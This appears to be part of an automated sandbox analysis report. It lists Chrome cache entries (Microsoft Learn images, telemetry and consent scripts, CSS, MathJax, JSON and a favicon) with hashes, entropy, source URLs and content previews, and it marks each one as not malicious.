SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
